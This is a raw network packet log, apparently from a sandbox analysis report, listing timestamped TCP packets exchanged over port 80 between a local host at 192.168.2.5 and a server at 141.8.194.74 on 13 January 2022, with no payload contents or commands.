Jan 13, 2022 20:51:26.458060980 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.458076954 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.458112955 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.458158970 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.458183050 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.458195925 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.458221912 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.458235979 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.458281040 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.458318949 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.458364964 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.458365917 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.458395004 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.458403111 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.458444118 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.458468914 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.458479881 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.458517075 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.458560944 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.458587885 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.458596945 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.458619118 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.458633900 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.458671093 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.458707094 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.458714962 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.458755970 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.458796024 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.458816051 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.458832979 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.458853960 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.458868980 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.458905935 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.458976984 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.459002972 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.459012032 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.459036112 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.459048986 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.459084988 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.459120035 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.459147930 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.459161043 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.459199905 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.459243059 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.459244967 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.459280014 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.459284067 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.459316015 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.459352970 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.459367990 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.459389925 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.459402084 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.459429026 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.459465981 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.459497929 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.459526062 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.459534883 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.459563017 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.531415939 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.531460047 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.531486034 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.531507015 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.531533003 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.531563997 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.531569004 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.531594992 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.531625032 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.531649113 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.531670094 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.531689882 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.531718016 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.531733036 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.531742096 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.531744003 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.531748056 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.531752110 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.531771898 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.531805038 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.531841993 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.531852961 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.531876087 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.531884909 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.531908035 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.531936884 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.531965971 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.531975985 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.531999111 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.532013893 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.532032013 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.532044888 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.532064915 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.532095909 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.532128096 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.532146931 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.532159090 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.532179117 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.532191038 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.532222033 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.532253027 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.532274008 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.532274961 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.532299042 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.532303095 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.532320023 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.532341003 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.532346964 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.532363892 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.532385111 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.532387972 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.532407045 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.532432079 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.532434940 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.532461882 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.532495022 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.532516003 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.532525063 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.532547951 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.532555103 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.532586098 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.532612085 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.532634020 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.532634974 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.532655954 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.532665968 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.532677889 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.532700062 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.532713890 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.532722950 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.532742977 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.532754898 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.532789946 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.532805920 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.532818079 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.532845020 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.532874107 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.532892942 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.532903910 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.532927036 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.532937050 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.532967091 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.532998085 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.533020020 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.533025980 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.533054113 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.533057928 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.533078909 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.533099890 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.533101082 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.533121109 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.533143044 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.533164024 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.533169985 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.533186913 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.533207893 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.533210039 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.533231020 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.533238888 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.533252001 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.533272982 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.533282042 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.533294916 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.533317089 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.533337116 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.533346891 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.533375025 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.533421993 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.533453941 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.533483028 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.533509016 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.533510923 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.533541918 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.533541918 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.533572912 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.533600092 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.533627987 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.533631086 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.533655882 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.533659935 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.533689022 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.533714056 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.533734083 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.533744097 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.533782005 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.533785105 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.533824921 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.533844948 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.533879042 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.533890963 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.533904076 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.533912897 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.533934116 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.533953905 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.533968925 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.533976078 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.534003973 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.534043074 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.534100056 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.534106970 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.605168104 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.605211973 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.605237007 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.605261087 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.605283976 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.605293036 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.605307102 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.605380058 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.605386019 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.605453968 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.605478048 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.605499983 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.605515003 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.605541945 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.605545044 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.605567932 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.605592012 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.605614901 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.605618954 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.605638981 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.605659962 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.605695963 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.605717897 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.605740070 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.605745077 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.605779886 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.605798006 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.605822086 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.605859041 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.605879068 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.605917931 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.605966091 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.605992079 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.606010914 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.606029034 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.606055021 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.606076956 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.606086969 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.606106043 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.606110096 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.606137991 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.606167078 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.606190920 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.606198072 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.606230021 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.606252909 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.606255054 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.606276989 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.606297970 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.606301069 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.606316090 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.606340885 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.606342077 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.606368065 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.606391907 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.606395006 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.606416941 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.606440067 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.606440067 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.606463909 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.606486082 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.606508970 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.606513977 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.606534004 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.606545925 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.606555939 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.606579065 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.606586933 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.606605053 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.606626034 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.606626987 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.606651068 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.606674910 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.606695890 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.606698990 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.606720924 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.606729031 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.606749058 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.606774092 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.606798887 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.606801987 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.606823921 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.606848001 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.606865883 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.606883049 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.606893063 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.606908083 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.606933117 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.606933117 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.606956959 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.606980085 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.606995106 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.607002974 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.607027054 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.607031107 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.607050896 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.607073069 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.607074022 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.607098103 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.607121944 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.607147932 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.607148886 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.607172012 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.607180119 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.607191086 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.607208967 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.607230902 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.607254028 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.607275009 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.607276917 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.607283115 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.607302904 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.607307911 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.607331991 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.607355118 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.607358932 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.607381105 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.607400894 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.607424021 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.607424974 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.607445955 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.607460976 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.607469082 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.607491970 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.607495070 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.607516050 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.607538939 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.607547998 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.607562065 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.607584953 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.607585907 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.607610941 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.607633114 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.607655048 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.607656956 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.607681036 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.607690096 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.607706070 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.607728958 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.607745886 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.607763052 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.607769966 CET	80	49840	141.8.194.74	192.168.2.5
